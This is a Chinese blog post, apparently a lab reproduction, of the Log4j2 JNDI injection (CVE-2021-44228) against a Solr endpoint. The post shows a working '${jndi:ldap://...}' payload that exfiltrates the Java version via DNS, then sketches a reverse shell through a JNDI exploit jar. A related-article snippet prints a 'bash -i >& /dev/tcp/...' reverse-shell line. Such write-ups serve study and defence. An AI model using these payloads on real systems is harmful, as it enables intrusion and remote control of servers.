log4j2远程执行代码CVE-2021-44228复现

最新推荐文章于 2024-09-06 08:52:09 发布
最新推荐文章于 2024-09-06 08:52:09 发布
阅读量256 收藏
点赞数 1
文章标签： log4j
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2201_75891821/article/details/140830771
版权

一.访问网址

发现 /solr/admin/cores?action=参数 可以上传 如下图

步骤二 在dnslog平台上来监控我们注入的效果 

上传参数 solr/admin/cores?action=${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号

查看他的回显

开始准备反弹shell

下载JDNI，放到攻击机，输入如下命令

执行结果如下图

可以看到有三个服务，看到熟悉的rmi和ldap ，实际上这个jar的作用就是帮我们生成了恶意代码类，并且生成了对应的url，然后我们就可以回到刚才的网站去进行JNDI注入 另外开启监听

拿取JDK1.8的ldap直接访问

然后获取shell

苏北辰-
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Log4j2远程代码执行漏洞复现(cve-2021-44228)
weixin_47179815的博客
07-12 1万+
Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架，并且引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。JNDI简单介绍JNDI(Java Na
log4j2远程执行代码CVE-2021-44228复现（vulfocus靶场）
m0_74294234的博客
03-31 373
bash -i >& /dev/tcp/（你服务器的公网IP地址）/8888（监听的端口号，我这里使用的是8888端口） 0>&1。1：首先打开finalshell或其他本地服务器上传，先创建一个ddd文件夹，并把下载的工具转移到该目录。}|{base64,-d}|{bash,-i}" -A "（你服务器的公网IP地址）"5：打开另一个终端端口并开启监听8888端口（8888端口是你在前面设置的监听端口）这样子就成功监听到端口，先进入tmp目录下，在输入ls可以爆出flag；6:用burpsuite抓包。
log4j远程代码执行(CVE-2021-44228)
2301_77392802的博客
03-26 899
Apache Log4j是一款非常受欢迎的Java日志记录框架，广泛应用于企业级应用和各种互联网产品中。然而，近期公开的CVE-2021-44228漏洞给这个稳定的框架带来了严重威胁。这个漏洞允许攻击者在受影响的系统上执行任意代码，可能导致敏感数据泄露、系统被完全控制等严重后果。该漏洞的产生主要源于Log4j的某些功能在处理特定输入时存在安全缺陷。攻击者可以通过精心构造的输入，利用Java的反射机制，触发特定条件下的代码执行。
log4j 远程执行代码CVE-2021-44228复现
beichenyyds的博客
03-02 3933
0x01 漏洞简述 2021年12月09日，360CERT监测发现Apache Log4j 2存在JNDI远程代码执行，漏洞等级：严重，漏洞评分：10.0。 Apache Log4j 2是一个开源的日志记录组件，使用非常的广泛，使用情况参考： https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages 对此，360CERT建议广大用户尽快将·Apache Log4j 2进行升级，以免遭受黑客攻击。
log4j2远程代码执行漏洞（CVE-2021-44228）
流水不争先，争的是滔滔不绝
05-22 312
log4j2远程代码执行漏洞
Log4j2 远程代码执行漏洞（CVE-2021-44228）
qq_68163788的博客
06-18 1311
Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。CVE-2021-44228是Log4j2中存在的一个严重的远程代码执行漏洞。攻击者可以通过恶意构造的日志信息，利用该漏洞执行恶意代码，从而危害受影响的系统。这个漏洞对于使用Log4j2的应用程序和系统构成了潜在的安全风险。
log4j2远程代码执行漏洞复现（CVE-2021-44228）
Wshchf的博客
06-04 665
Apache log4j2—RCE 漏洞是由于Log4j2 提供的lookup功能下的jndi Lookup模块出现问题所导致的，该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时，并没有对用户输入的数据进行判断，导致Log4j2 请求远程主机上含有恶意代码的资源并执行其中的代码，从而造成远程代码执行漏洞。log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。
Log4j2漏洞复现（CVE-2021-44228）
热门推荐
qq_43798640的博客
12-15 3万+
Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4...
log4j2 远程代码执行漏洞复现（CVE-2021-44228）
m0_68045701的博客
07-18 870
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
vCenter修复Apache log4j2漏洞（CVE-2021-44228, CVE-2021-45046）
qq_27248929的博客
12-21 4602
2021年12月Apache log4j远程执行漏洞影响到的VMware产品列表：VMSA-2021-0028.4 (vmware.com)。 本次我们所涉及到的产品及版本是vSphere6.7下的vCenter Server Application6.7.x，以下是加固的配置步骤： 1）首先打开vCenter的shell连接，需从控制台进入vCenter虚机进行配置操作，具体为进入排错模式，Enable shell和SSH选项； 2）打开xshell 通过SSH连接vCenter进行命令行.
VMware 多个产品LOG4J2远程代码执行漏洞-(CVE-2021-44228/CVE-2021-45046)
tamchikit的博客
01-04 1238
VMware 多个产品LOG4J2远程代码执行漏洞-(CVE-2021-44228/CVE-2021-45046)
log4j 同一线程隔离classloader下MDC信息不同问题解决 ThreadLocal问题分析
CoderCoding的博客
09-06 631
一个任务的日志信息会被莫名的拆分到两个不同目录中。经过分析，首先怀疑的是MDC没有清理的问题，这也是最直观的问题。由于线程会被重用，而MDC是绑定在Threadlocal上的，所以如果没有清理，是会造成上述问题。但是在代码检查中发现在线程的开始，是重新设置过MDC信息的。经过分析，首先怀疑的是MDC没有清理的问题，这也是最直观的问题。由于线程会被重用，而MDC是绑定在Threadlocal上的，所以如果没有清理，是会造成上述问题。但是在代码检查中发现在线程的开始，是重新设置过MDC信息的。
滚雪球学MyBatis-Plus(13)：测试与部署
**My Coding Family**
09-05 865
在上期内容中，我们深入探讨了 MyBatis Plus 的高级功能，包括自定义 SQL 注解、批量操作以及数据加密与解密。这些功能极大地提高了开发效率，并增强了数据操作的灵活性和安全性。本期内容将重点介绍 MyBatis Plus 的测试与部署。我们将学习如何编写单元测试和集成测试，确保代码的正确性和可靠性。然后，我们将讨论项目的打包与部署流程，帮助你将开发的应用程序顺利发布到生产环境中。测试是软件开发过程中至关重要的一环。通过测试，我们可以验证代码的正确性，发现潜在的问题，并确保系统的稳定性。
餐厅点餐系统springboot.zip
09-10
开发一个基于Spring Boot的餐厅点餐系统可以大大提高餐厅的服务效率和顾客体验。下面是一个简单的案例程序，展示了如何使用Spring Boot来构建这样一个系统。这个系统将包括用户管理、菜单管理、订单管理等基本功能。 1. 创建项目 首先，通过Spring Initializr（https://start.spring.io/）创建一个新的Spring Boot项目，并添加必要的依赖项，如Web、Thymeleaf、Spring Data JPA 和 MySQL Driver。
MATLAB_SIMULINK中的病毒传播模拟器.rar
09-10
1.版本：matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
Sigrity-Sigrity MCP Specification.rar
最新发布
09-10
Sigrity-Sigrity MCP Specification.rar 当引脚名称映射失败时，通过坐标映射为替代引脚映射方法添加可选的引脚坐标（相对于元件原点）。 本文档描述了信号模型连接协议（MCP）。 MCP用于在管芯（芯片）、封装和PCB之间连接电路模型和/或物理布局。 MCP允许任何MCP型号的Sigrity产品内的自动模型和结构连接。 它还允许第三方工具将Sigrity模型与MCP集成或连接。 MCP使用简单的ASCII格式，支持模型连接的多个电路和引脚，并允许将物理引脚集中在电路模型中。 MCP具有可扩展性和向后兼容性。
智能优化算法-樽海鞘优化算法（SSA）
09-10
樽海鞘优化算法 (Salp Swarm Algorithm, SSA) 虽然名称中提到的是“樽海鞘”，但实际上这个算法是基于群体智能的一种元启发式优化算法，它模拟了樽海鞘（Salps）在海洋中的游动和觅食行为，用于解决复杂的优化问题。 SSA的工作机制主要包括以下几个方面： 链式游动：模拟樽海鞘在海洋中形成链状结构进行集体游动，用于探索解空间。 觅食行为：通过模拟樽海鞘的觅食行为，促进算法的局部搜索能力。 动态调整：根据当前搜索状态动态调整搜索策略，平衡全局搜索和局部搜索。 优点包括： 强大的探索能力：SSA能够有效地探索解空间的不同区域。 灵活性：适用于多种优化问题，包括连续和离散优化。 快速收敛：通常能够在较少迭代次数内找到较好的解。 易于实现：算法设计直观，易于编程实现。
Apache Log4j2远程代码执行漏洞(CVE-2021-45105/CVE-2021-44228)、
08-22
CVE-2021-45105和CVE-2021-44228是针对该框架的一个严重安全漏洞，也被称为Log4Shell或Log4J RCE（Remote Code Execution）。这个漏洞源于Log4j库的一个设计缺陷，当处理某些特定类型的外部输入数据时，攻击者可以...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值